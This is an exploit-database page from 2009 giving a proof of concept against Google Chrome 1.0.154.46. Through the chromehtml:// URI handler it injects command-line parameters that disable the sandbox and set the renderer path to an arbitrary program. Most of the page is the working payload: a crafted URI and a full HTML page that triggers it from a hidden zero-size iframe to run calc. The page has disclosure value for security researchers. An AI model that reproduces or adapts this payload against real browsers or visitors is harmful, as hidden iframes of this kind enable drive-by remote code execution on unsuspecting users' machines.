[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Google Chrome 1.0.154.46 (ChromeHTML://) Parameter Injection PoC
# Published : 2009-01-30
# Author : waraxe
# Previous Title : Synactis All_IN_THE_BOX ActiveX v3 Null byte File Overwrite Vuln
# Next Title : WOW - Web On Windows ActiveX Control 2 Remote Code Execution 


Try this:

chromehtml:"%20--renderer-path="calc"%20--no-sandbox

Disabling sandbox does matter  :) 
Tested with Google Chrome Chrome 1.0.154.46 on Win XP/Vista and IE6/IE7 and it works ...

Full PoC:

<html><head><title>Chrome URI Handler Remote Command Execution PoC</title></head>
<body>
<h3>This is a test</h3>
<iframe src='chromehtml:"%20--renderer-path="calc"%20--no-sandbox' width=0 height=0></iframe>
</body></html>

# www.Syue.com [2009-01-30]